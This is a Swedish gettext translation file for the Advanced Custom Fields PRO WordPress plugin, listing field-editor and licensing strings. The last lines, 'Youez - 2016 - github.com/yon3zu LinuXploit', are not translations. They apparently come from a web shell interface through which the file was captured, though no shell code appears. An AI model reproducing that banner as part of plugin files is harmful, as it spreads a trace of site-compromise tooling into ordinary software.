msgid "Image"
msgstr "Bild"

#: fields/image.php:51
msgid "Select Image"
msgstr "Välj bild"

#: fields/image.php:52 pro/fields/gallery.php:53
msgid "Edit Image"
msgstr "Redigera bild"

#: fields/image.php:53 pro/fields/gallery.php:54
msgid "Update Image"
msgstr "Uppdatera bild"

#: fields/image.php:55
msgid "All images"
msgstr "Alla bilder"

#: fields/image.php:144 pro/fields/gallery.php:358 pro/fields/gallery.php:546
msgid "Remove"
msgstr "Radera"

#: fields/image.php:160
msgid "No image selected"
msgstr "Ingen bild vald"

#: fields/image.php:160
msgid "Add Image"
msgstr "Lägg till bild"

#: fields/image.php:214
msgid "Image Array"
msgstr "Bild Array"

#: fields/image.php:215
msgid "Image URL"
msgstr "Bildadress"

#: fields/image.php:216
msgid "Image ID"
msgstr "Bildens ID"

#: fields/image.php:223
msgid "Preview Size"
msgstr "Förhandsvisningens storlek"

#: fields/image.php:224
msgid "Shown when entering data"
msgstr "Visas vid inmatning av data"

#: fields/image.php:248 fields/image.php:281 pro/fields/gallery.php:685 
#: pro/fields/gallery.php:718
msgid "Restrict which images can be uploaded"
msgstr "Begränsa vilka bilder som kan laddas upp"

#: fields/image.php:251 fields/image.php:284 fields/oembed.php:259 
#: pro/fields/gallery.php:688 pro/fields/gallery.php:721
msgid "Width"
msgstr "bredd"

#: fields/message.php:36 fields/message.php:116 fields/true_false.php:141
msgid "Message"
msgstr "Meddelande"

#: fields/message.php:125 fields/textarea.php:176
msgid "New Lines"
msgstr "Nya linjer"

#: fields/message.php:126 fields/textarea.php:177
msgid "Controls how new lines are rendered"
msgstr "Reglerar hur nya linjer renderas"

#: fields/message.php:130 fields/textarea.php:181
msgid "Automatically add paragraphs"
msgstr "Lägg till styckesindelning automatiskt."

#: fields/message.php:131 fields/textarea.php:182
msgid "Automatically add &lt;br&gt;"
msgstr "Lägg till automatiskt &lt;br&gt;"

#: fields/message.php:132 fields/textarea.php:183
msgid "No Formatting"
msgstr "Ingen formattering"

#: fields/message.php:139
msgid "Escape HTML"
msgstr "Inaktivera HTML-rendering"

#: fields/message.php:140
msgid "Allow HTML markup to display as visible text instead of rendering"
msgstr "Tillåt HTML kod att visas som synlig text istället för att renderas"

#: fields/number.php:36
msgid "Number"
msgstr "Nummer"

#: fields/number.php:181
msgid "Minimum Value"
msgstr "Minsta värde"

#: fields/number.php:190
msgid "Maximum Value"
msgstr "Högsta värde"

#: fields/number.php:199
msgid "Step Size"
msgstr "Stegvärde"

#: fields/number.php:237
msgid "Value must be a number"
msgstr "Värdet måste vara ett nummer"

#: fields/number.php:255
#, php-format
msgid "Value must be equal to or higher than %d"
msgstr "Värdet måste vara lika med eller högre än %d"

#: fields/number.php:263
#, php-format
msgid "Value must be equal to or lower than %d"
msgstr "Värdet måste vara lika med eller lägre än %d"

#: fields/oembed.php:36
msgid "oEmbed"
msgstr "oEmbed"

#: fields/oembed.php:207
msgid "Enter URL"
msgstr "Fyll i URL"

#: fields/oembed.php:220 fields/taxonomy.php:900
msgid "Error."
msgstr "Fel."

#: fields/oembed.php:220
msgid "No embed found for the given URL."
msgstr "Ingen embed hittades för angiven URL."

#: fields/oembed.php:256 fields/oembed.php:267
msgid "Embed Size"
msgstr "Embed storlek"

#: fields/page_link.php:192
msgid "Archives"
msgstr "Arkiv"

#: fields/page_link.php:500 fields/post_object.php:399 
#: fields/relationship.php:709
msgid "Filter by Post Type"
msgstr "Filtrera efter inläggstyp"

#: fields/page_link.php:508 fields/post_object.php:407 
#: fields/relationship.php:717
msgid "All post types"
msgstr "Samtliga posttyper"

#: fields/page_link.php:514 fields/post_object.php:413 
#: fields/relationship.php:723
msgid "Filter by Taxonomy"
msgstr "Filtrera efter taxonomi"

#: fields/page_link.php:522 fields/post_object.php:421 
#: fields/relationship.php:731
msgid "All taxonomies"
msgstr "Samtliga taxonomier"

#: fields/page_link.php:528 fields/post_object.php:427 fields/radio.php:251 
#: fields/select.php:481 fields/taxonomy.php:795 fields/user.php:394
msgid "Allow Null?"
msgstr "Tillått nollvärde?"

#: fields/page_link.php:538
msgid "Allow Archives URLs"
msgstr "Tillåt urler från arkiv"

#: fields/page_link.php:548 fields/post_object.php:437 fields/select.php:491 
#: fields/user.php:404
msgid "Select multiple values?"
msgstr "Välj multipla värden?"

#: fields/password.php:36
msgid "Password"
msgstr "Lösenord"

#: fields/post_object.php:36 fields/post_object.php:452 
#: fields/relationship.php:788
msgid "Post Object"
msgstr "Inläggsobjekt"

#: fields/post_object.php:453 fields/relationship.php:789
msgid "Post ID"
msgstr "Inläggets ID"

#: fields/radio.php:36
msgid "Radio Button"
msgstr "Alternativknapp"

#: fields/radio.php:261
msgid "Other"
msgstr "Annat"

#: fields/radio.php:266
msgid "Add 'other' choice to allow for custom values"
msgstr "Lägg till värdet 'annat' för att tillåta egna värden"

#: fields/radio.php:272
msgid "Save Other"
msgstr "Spara annat"

#: fields/radio.php:277
msgid "Save 'other' values to the field's choices"
msgstr "Spara 'annat'-värden till fältets alternativ"

#: fields/relationship.php:36
msgid "Relationship"
msgstr "Relation"

#: fields/relationship.php:48
msgid "Minimum values reached ( {min} values )"
msgstr "Lägsta tillåtna antal värden nått ( {min} värden )"

#: fields/relationship.php:49
msgid "Maximum values reached ( {max} values )"
msgstr "Högsta tillåtna antal värden uppnått ( {max} värden )"

#: fields/relationship.php:50
msgid "Loading"
msgstr "Laddar"

#: fields/relationship.php:51
msgid "No matches found"
msgstr "Inga träffar"

#: fields/relationship.php:590
msgid "Search..."
msgstr "Sök..."

#: fields/relationship.php:599
msgid "Select post type"
msgstr "Välj posttyp"

#: fields/relationship.php:612
msgid "Select taxonomy"
msgstr "Välj taxonomi"

#: fields/relationship.php:744 fields/taxonomy.php:36 fields/taxonomy.php:765
msgid "Taxonomy"
msgstr "Taxonomi"

#: fields/relationship.php:751
msgid "Elements"
msgstr "Element"

#: fields/relationship.php:752
msgid "Selected elements will be displayed in each result"
msgstr "Valda element visas i varje resultat"

#: fields/relationship.php:763
msgid "Minimum posts"
msgstr "Minsta antal inlägg"

#: fields/relationship.php:772
msgid "Maximum posts"
msgstr "Högsta antal inlägg"

#: fields/relationship.php:876 pro/fields/gallery.php:823
#, php-format
msgid "%s requires at least %s selection"
msgid_plural "%s requires at least %s selections"
msgstr[0] "%s kräver minst %s val"
msgstr[1] "%s kräver minst %s val"

#: fields/select.php:36 fields/taxonomy.php:787
msgctxt "noun"
msgid "Select"
msgstr "Flerväljare"

#: fields/select.php:49
msgctxt "Select2 JS matches_1"
msgid "One result is available, press enter to select it."
msgstr "Ett resultat, tryck enter för att välja det."

#: fields/select.php:50
#, php-format
msgctxt "Select2 JS matches_n"
msgid "%d results are available, use up and down arrow keys to navigate."
msgstr "%d resultat, använd upp och ned pilarna för att navigera."

#: fields/select.php:51
msgctxt "Select2 JS matches_0"
msgid "No matches found"
msgstr "Inget resultat"

#: fields/select.php:52
msgctxt "Select2 JS input_too_short_1"
msgid "Please enter 1 or more characters"
msgstr "Vänligen skriv in 1 eller fler bokstäver"

#: fields/select.php:53
#, php-format
msgctxt "Select2 JS input_too_short_n"
msgid "Please enter %d or more characters"
msgstr "Vänligen skriv in %d eller fler bokstäver"

#: fields/select.php:54
msgctxt "Select2 JS input_too_long_1"
msgid "Please delete 1 character"
msgstr "Vänligen radera 1 bokstav"

#: fields/select.php:55
#, php-format
msgctxt "Select2 JS input_too_long_n"
msgid "Please delete %d characters"
msgstr "Vänligen radera %d bokstäver"

#: fields/select.php:56
msgctxt "Select2 JS selection_too_long_1"
msgid "You can only select 1 item"
msgstr "Du kan bara välja 1 resultat"

#: fields/select.php:57
#, php-format
msgctxt "Select2 JS selection_too_long_n"
msgid "You can only select %d items"
msgstr "Du kan bara välja %d resultat"

#: fields/select.php:58
msgctxt "Select2 JS load_more"
msgid "Loading more results&hellip;"
msgstr "Laddar fler resultat"

#: fields/select.php:59
msgctxt "Select2 JS searching"
msgid "Searching&hellip;"
msgstr "Söker…"

#: fields/select.php:60
msgctxt "Select2 JS load_fail"
msgid "Loading failed"
msgstr "Laddning misslyckades"

#: fields/select.php:501 fields/true_false.php:159
msgid "Stylised UI"
msgstr "Stylat utseende"

#: fields/select.php:512
msgid "Use AJAX to lazy load choices?"
msgstr "Använda AJAX för att ladda alternativ efter att sidan laddats?"

#: fields/select.php:523
msgid "Specify the value returned"
msgstr "Specificera värdet att returnera"

#: fields/tab.php:36
msgid "Tab"
msgstr "Flik"

#: fields/tab.php:97
msgid ""
"The tab field will display incorrectly when added to a Table style repeater "
"field or flexible content field layout"
msgstr ""
"Flik fältet kommer att visas felaktigt om de läggs till ett upprepningsfält "
"med tabellutseende eller ett innehållsfält med flexibel layout"

#: fields/tab.php:98
msgid ""
"Use \"Tab Fields\" to better organize your edit screen by grouping fields "
"together."
msgstr ""
"Använd \"Flikfält\" för att bättre organisera din redigeringsvy genom att "
"gruppera fälten tillsammans."

#: fields/tab.php:99
msgid ""
"All fields following this \"tab field\" (or until another \"tab field\" is "
"defined) will be grouped together using this field's label as the tab "
"heading."
msgstr ""
"Alla fält efter detta \"flikfält\" (eller fram till nästa \"flikfält\") "
"kommer att grupperas tillsammans genom fältets titel som flikrubrik."

#: fields/tab.php:113
msgid "Placement"
msgstr "Placering"

#: fields/tab.php:125
msgid "End-point"
msgstr "Slutpunkt"

#: fields/tab.php:126
msgid "Use this field as an end-point and start a new group of tabs"
msgstr "Använd detta fält som slutpunkt och starta en ny grupp flikar"

#: fields/taxonomy.php:715 fields/true_false.php:95 fields/true_false.php:184 
#: pro/admin/views/settings-updates.php:103
msgid "No"
msgstr "Nej"

#: fields/taxonomy.php:734
msgid "None"
msgstr "Ingen"

#: fields/taxonomy.php:766
msgid "Select the taxonomy to be displayed"
msgstr "Välj taxonomi som ska visas"

#: fields/taxonomy.php:775
msgid "Appearance"
msgstr "Utseende"

#: fields/taxonomy.php:776
msgid "Select the appearance of this field"
msgstr "Välj utseende för detta fält"

#: fields/taxonomy.php:781
msgid "Multiple Values"
msgstr "Multipla värden"

#: fields/taxonomy.php:783
msgid "Multi Select"
msgstr "Flerval"

#: fields/taxonomy.php:785
msgid "Single Value"
msgstr "Ett enda värde"

#: fields/taxonomy.php:786
msgid "Radio Buttons"
msgstr "Alternativknappar"

#: fields/taxonomy.php:805
msgid "Create Terms"
msgstr "Skapa värden"

#: fields/taxonomy.php:806
msgid "Allow new terms to be created whilst editing"
msgstr "Tillåt att nya värden läggs till under redigering"

#: fields/taxonomy.php:815
msgid "Save Terms"
msgstr "Spara värden"

#: fields/taxonomy.php:816
msgid "Connect selected terms to the post"
msgstr "Koppla valda värden till inlägget"

#: fields/taxonomy.php:825
msgid "Load Terms"
msgstr "Ladda värden"

#: fields/taxonomy.php:826
msgid "Load value from posts terms"
msgstr "Ladda värde från ett inläggs värden"

#: fields/taxonomy.php:840
msgid "Term Object"
msgstr "Term objekt"

#: fields/taxonomy.php:841
msgid "Term ID"
msgstr "Term ID"

#: fields/taxonomy.php:900
#, php-format
msgid "User unable to add new %s"
msgstr "Användare kan inte lägga till ny %s"

#: fields/taxonomy.php:913
#, php-format
msgid "%s already exists"
msgstr "%s finns redan"

#: fields/taxonomy.php:954
#, php-format
msgid "%s added"
msgstr "%s tillagt"

#: fields/taxonomy.php:999
msgid "Add"
msgstr "Lägg till"

#: fields/text.php:36
msgid "Text"
msgstr "Text"

#: fields/text.php:178 fields/textarea.php:157
msgid "Character Limit"
msgstr "Maximalt antal tecken"

#: fields/text.php:179 fields/textarea.php:158
msgid "Leave blank for no limit"
msgstr "Lämna tomt för att ha utan begränsning"

#: fields/textarea.php:36
msgid "Text Area"
msgstr "Textfält"

#: fields/textarea.php:166
msgid "Rows"
msgstr "Rader"

#: fields/textarea.php:167
msgid "Sets the textarea height"
msgstr "Välj textfältets höjd"

#: fields/time_picker.php:36
msgid "Time Picker"
msgstr "Tidväljare"

#: fields/true_false.php:36
msgid "True / False"
msgstr "Sant / Falskt"

#: fields/true_false.php:94 fields/true_false.php:174 
#: pro/admin/views/settings-updates.php:93
msgid "Yes"
msgstr "Ja"

#: fields/url.php:36
msgid "Url"
msgstr "Url"

#: fields/url.php:165
msgid "Value must be a valid URL"
msgstr "Värdet måste vara en giltig URL"

#: fields/user.php:379
msgid "Filter by role"
msgstr "Filtrera efter roll"

#: fields/user.php:387
msgid "All user roles"
msgstr "Alla användarroller"

#: fields/wysiwyg.php:36
msgid "Wysiwyg Editor"
msgstr "WYSIWYG-editor"

#: fields/wysiwyg.php:394
msgid "Visual"
msgstr "Visuellt"

#: fields/wysiwyg.php:395
msgctxt "Name for the Text editor tab (formerly HTML)"
msgid "Text"
msgstr "Text"

#: fields/wysiwyg.php:454
msgid "Tabs"
msgstr "Flikar"

#: fields/wysiwyg.php:459
msgid "Visual & Text"
msgstr "Visuellt & Text"

#: fields/wysiwyg.php:460
msgid "Visual Only"
msgstr "Endast visuellt"

#: fields/wysiwyg.php:461
msgid "Text Only"
msgstr "Endast text"

#: fields/wysiwyg.php:468
msgid "Toolbar"
msgstr "Verktygsfält"

#: fields/wysiwyg.php:478
msgid "Show Media Upload Buttons?"
msgstr "Visa knappar för uppladdning av media?"

#: forms/comment.php:166 forms/post.php:295 pro/admin/options-page.php:416
msgid "Edit field group"
msgstr "Redigera fältgrupp"

#: forms/widget.php:235
#, php-format
msgid "1 field requires attention."
msgid_plural "%d fields require attention."
msgstr[0] "1 fält kräver din uppmärksamhet"
msgstr[1] "%d fält kräver din uppmärksamhet"

#. Plugin Name of the plugin/theme
#: pro/acf-pro.php:24
msgid "Advanced Custom Fields PRO"
msgstr "Advanced Custom Fields PRO"

#: pro/acf-pro.php:192
msgid "Flexible Content requires at least 1 layout"
msgstr "Flexibelt innehåll kräver minst 1 layout"

#: pro/admin/options-page.php:49
msgid "Options Page"
msgstr "Inställningssida"

#: pro/admin/options-page.php:85
msgid "No options pages exist"
msgstr "Det finns inga inställningssidor"

#: pro/admin/options-page.php:303
msgid "Options Updated"
msgstr "Inställningar uppdaterade"

#: pro/admin/options-page.php:309
msgid "Publish"
msgstr "Publicera"

#: pro/admin/options-page.php:315
#, php-format
msgid ""
"No Custom Field Groups found for this options page. <a href=\"%s\">Create a "
"Custom Field Group</a>"
msgstr ""
"Inga fältgrupper hittades för denna inställningssida. <a href=\"%s\">Skapa "
"en fältgrupp</a>"

#: pro/admin/settings-updates.php:57 pro/admin/views/settings-updates.php:17
msgid "Updates"
msgstr "Uppdateringar"

#: pro/admin/settings-updates.php:87
msgid "<b>Error</b>. Could not connect to update server"
msgstr "<b>Fel</b>. Kunde inte ansluta till uppdateringsservern"

#: pro/admin/views/settings-updates.php:11
msgid "Deactivate License"
msgstr "Inaktivera licens"

#: pro/admin/views/settings-updates.php:11
msgid "Activate License"
msgstr "Aktivera licens"

#: pro/admin/views/settings-updates.php:21
msgid "License Information"
msgstr "Licensinformation"

#: pro/admin/views/settings-updates.php:24
#, php-format
msgid ""
"To unlock updates, please enter your license key below. If you don't have a "
"licence key, please see <a href=\"%s\" target=\"_blank\">details & "
"pricing</a>."
msgstr ""
"För att aktivera uppdateringar, vänligen fyll i din licensnyckel här "
"nedanför. Om du inte har en licensnyckel, vänligen gå till sidan <a "
"href=\"%s\">detaljer & priser</a>"

#: pro/admin/views/settings-updates.php:33
msgid "License Key"
msgstr "Licensnyckel"

#: pro/admin/views/settings-updates.php:65
msgid "Update Information"
msgstr "Uppdateringsinformation"

#: pro/admin/views/settings-updates.php:72
msgid "Current Version"
msgstr "Nuvarande version"

#: pro/admin/views/settings-updates.php:80
msgid "Latest Version"
msgstr "Senaste version"

#: pro/admin/views/settings-updates.php:88
msgid "Update Available"
msgstr "Uppdatering tillgänglig"

#: pro/admin/views/settings-updates.php:96
msgid "Update Plugin"
msgstr "Uppdatera tillägg"

#: pro/admin/views/settings-updates.php:98
msgid "Please enter your license key above to unlock updates"
msgstr ""
"Vänligen fyll i din licensnyckel här ovan för att låsa upp uppdateringar"

#: pro/admin/views/settings-updates.php:104
msgid "Check Again"
msgstr "Kontrollera igen"

#: pro/admin/views/settings-updates.php:121
msgid "Upgrade Notice"
msgstr "Uppgraderingsnotering"

#: pro/api/api-options-page.php:22 pro/api/api-options-page.php:23
msgid "Options"
msgstr "Alternativ"

#: pro/core/updates.php:206
#, php-format
msgid ""
"To enable updates, please enter your license key on the <a href=\"%s\">"
"Updates</a> page. If you don't have a licence key, please see <a href=\"%s\">"
"details & pricing</a>."
msgstr ""
"För att aktivera uppdateringar, vänligen fyll i din licensnyckel på sidan <a "
"href=\"%s\">uppdateringar</a>. Om du inte har en licensnyckel, vänligen gå "
"till sidan <a href=\"%s\">detaljer & priser</a>"

#: pro/fields/clone.php:36
msgctxt "noun"
msgid "Clone"
msgstr "Klon"

#: pro/fields/clone.php:820
msgid "Select one or more fields you wish to clone"
msgstr "Välj ett eller fler fält du vill klona"

#: pro/fields/clone.php:835
msgid "Display"
msgstr "Visa"

#: pro/fields/clone.php:836
msgid "Specify the style used to render the clone field"
msgstr "Specificera stilen som ska användas för att skapa klonfältet"

#: pro/fields/clone.php:841
msgid "Group (displays selected fields in a group within this field)"
msgstr "Grupp (visar valda fält i en grupp i detta fält)"

#: pro/fields/clone.php:842
msgid "Seamless (replaces this field with selected fields)"
msgstr "Sömlös (ersätter detta fält med valda fält)"

#: pro/fields/clone.php:850
msgid "Specify the style used to render the selected fields"
msgstr "Specificera stilen för att rendera valda fält"

#: pro/fields/clone.php:855 pro/fields/flexible-content.php:631 
#: pro/fields/repeater.php:514
msgid "Block"
msgstr "Grupp"

#: pro/fields/clone.php:856 pro/fields/flexible-content.php:630 
#: pro/fields/repeater.php:513
msgid "Table"
msgstr "Tabell"

#: pro/fields/clone.php:857 pro/fields/flexible-content.php:632 
#: pro/fields/repeater.php:515
msgid "Row"
msgstr "Rad"

#: pro/fields/clone.php:863
#, php-format
msgid "Labels will be displayed as %s"
msgstr "Fälttitlar visas som %s"

#: pro/fields/clone.php:866
msgid "Prefix Field Labels"
msgstr "Prefix fälttitlar"

#: pro/fields/clone.php:877
#, php-format
msgid "Values will be saved as %s"
msgstr "Värden sparas som %s"

#: pro/fields/clone.php:880
msgid "Prefix Field Names"
msgstr "Prefix fältnamn"

#: pro/fields/clone.php:998
msgid "Unknown field"
msgstr "Okänt fält"

#: pro/fields/clone.php:1037
msgid "Unknown field group"
msgstr "Okänd fältgrupp"

#: pro/fields/clone.php:1041
#, php-format
msgid "All fields from %s field group"
msgstr "Alla fält från %s fältgrupp"

#: pro/fields/flexible-content.php:36
msgid "Flexible Content"
msgstr "Flexibelt innehåll"

#: pro/fields/flexible-content.php:42 pro/fields/repeater.php:221 
#: pro/fields/repeater.php:526
msgid "Add Row"
msgstr "Lägg till rad"

#: pro/fields/flexible-content.php:45
msgid "layout"
msgstr "layout"

#: pro/fields/flexible-content.php:46
msgid "layouts"
msgstr "layouter"

#: pro/fields/flexible-content.php:47
msgid "remove {layout}?"
msgstr "radera {layout}?"

#: pro/fields/flexible-content.php:48
msgid "This field requires at least {min} {identifier}"
msgstr "Detta fält kräver minst {min} {identifierare}"

#: pro/fields/flexible-content.php:49
msgid "This field has a limit of {max} {identifier}"
msgstr "Detta fält har en gräns på {max} {identifierare}"

#: pro/fields/flexible-content.php:50
msgid "This field requires at least {min} {label} {identifier}"
msgstr "Detta fält kräver minst {min} {etikett} {identifierare}"

#: pro/fields/flexible-content.php:51
msgid "Maximum {label} limit reached ({max} {identifier})"
msgstr "Maximal {etikett} gräns nåtts ({max} {identifierare})"

#: pro/fields/flexible-content.php:52
msgid "{available} {label} {identifier} available (max {max})"
msgstr "{tillgänglig} {etikett} {identifierare} tillgänglig (max {max})"

#: pro/fields/flexible-content.php:53
msgid "{required} {label} {identifier} required (min {min})"
msgstr "{krävs} {etikett} {identifierare} krävs (min {min})"

#: pro/fields/flexible-content.php:282
#, php-format
msgid "Click the \"%s\" button below to start creating your layout"
msgstr "Klicka på knappen \"%s\" nedan för att börja skapa din layout"

#: pro/fields/flexible-content.php:425
msgid "Add layout"
msgstr "Lägg till layout"

#: pro/fields/flexible-content.php:426
msgid "Remove layout"
msgstr "Radera layout"

#: pro/fields/flexible-content.php:427 pro/fields/repeater.php:351
msgid "Click to toggle"
msgstr "Klicka för att växla"

#: pro/fields/flexible-content.php:573
msgid "Reorder Layout"
msgstr "Ändra layoutens ordning"

#: pro/fields/flexible-content.php:573
msgid "Reorder"
msgstr "Ändra ordning"

#: pro/fields/flexible-content.php:574
msgid "Delete Layout"
msgstr "Radera layout"

#: pro/fields/flexible-content.php:575
msgid "Duplicate Layout"
msgstr "Kopiera layout"

#: pro/fields/flexible-content.php:576
msgid "Add New Layout"
msgstr "Lägg till ny layout"

#: pro/fields/flexible-content.php:647
msgid "Min"
msgstr "Min"

#: pro/fields/flexible-content.php:660
msgid "Max"
msgstr "Max"

#: pro/fields/flexible-content.php:688 pro/fields/repeater.php:522
msgid "Button Label"
msgstr "Knapp etikett"

#: pro/fields/flexible-content.php:697
msgid "Minimum Layouts"
msgstr "Lägsta tillåtna antal layouter"

#: pro/fields/flexible-content.php:706
msgid "Maximum Layouts"
msgstr "Högsta tillåtna antal layouter"

#: pro/fields/gallery.php:36
msgid "Gallery"
msgstr "Galleri"

#: pro/fields/gallery.php:52
msgid "Add Image to Gallery"
msgstr "Lägg till en bild till galleri"

#: pro/fields/gallery.php:56
msgid "Maximum selection reached"
msgstr "Högsta tillåtna antal val uppnått"

#: pro/fields/gallery.php:336
msgid "Length"
msgstr "Längd"

#: pro/fields/gallery.php:379
msgid "Caption"
msgstr "Bildtext"

#: pro/fields/gallery.php:388
msgid "Alt Text"
msgstr "Alt Text"

#: pro/fields/gallery.php:559
msgid "Add to gallery"
msgstr "Lägg till galleri"

#: pro/fields/gallery.php:563
msgid "Bulk actions"
msgstr "Välj åtgärd"

#: pro/fields/gallery.php:564
msgid "Sort by date uploaded"
msgstr "Sortera efter uppladdningsdatum"

#: pro/fields/gallery.php:565
msgid "Sort by date modified"
msgstr "Sortera efter redigeringsdatum"

#: pro/fields/gallery.php:566
msgid "Sort by title"
msgstr "Sortera efter titel"

#: pro/fields/gallery.php:567
msgid "Reverse current order"
msgstr "Omvänd nuvarande ordning"

#: pro/fields/gallery.php:585
msgid "Close"
msgstr "Stäng"

#: pro/fields/gallery.php:639
msgid "Minimum Selection"
msgstr "Minsta tillåtna antal val"

#: pro/fields/gallery.php:648
msgid "Maximum Selection"
msgstr "Högsta tillåtna antal val"

#: pro/fields/gallery.php:657
msgid "Insert"
msgstr "Infoga"

#: pro/fields/gallery.php:658
msgid "Specify where new attachments are added"
msgstr "Specifiera var nya bilagor läggs till"

#: pro/fields/gallery.php:662
msgid "Append to the end"
msgstr "Lägg till i slutet"

#: pro/fields/gallery.php:663
msgid "Prepend to the beginning"
msgstr "Lägg till början"

#: pro/fields/repeater.php:36
msgid "Repeater"
msgstr "Upprepningsfält"

#: pro/fields/repeater.php:47
msgid "Minimum rows reached ({min} rows)"
msgstr "Minsta tillåtna antal rader uppnått ({min} rader)"

#: pro/fields/repeater.php:48
msgid "Maximum rows reached ({max} rows)"
msgstr "Högsta tillåtna antal rader uppnått ({max} rader)"

#: pro/fields/repeater.php:396
msgid "Add row"
msgstr "Lägg till rad"

#: pro/fields/repeater.php:397
msgid "Remove row"
msgstr "Radera rad"

#: pro/fields/repeater.php:445
msgid "Sub Fields"
msgstr "Underfält"

#: pro/fields/repeater.php:475
msgid "Collapsed"
msgstr "Kollapsa"

#: pro/fields/repeater.php:476
msgid "Select a sub field to show when row is collapsed"
msgstr "Välj ett underfält att visa när raden är kollapsad"

#: pro/fields/repeater.php:486
msgid "Minimum Rows"
msgstr "Minsta tillåtna antal rader"

#: pro/fields/repeater.php:496
msgid "Maximum Rows"
msgstr "Högsta tillåtna antal rader"

#. Plugin URI of the plugin/theme
msgid "https://www.advancedcustomfields.com/"
msgstr "https://www.advancedcustomfields.com/"

#. Description of the plugin/theme
msgid "Customise WordPress with powerful, professional and intuitive fields"
msgstr "Skräddarsy Wordpress med kraftfulla, professionella och intuitiva fält"

#. Author of the plugin/theme
msgid "Elliot Condon"
msgstr "Elliot Condon"

#. Author URI of the plugin/theme
msgid "http://www.elliotcondon.com/"
msgstr "http://www.elliotcondon.com/"

Youez - 2016 - github.com/yon3zu
LinuXploit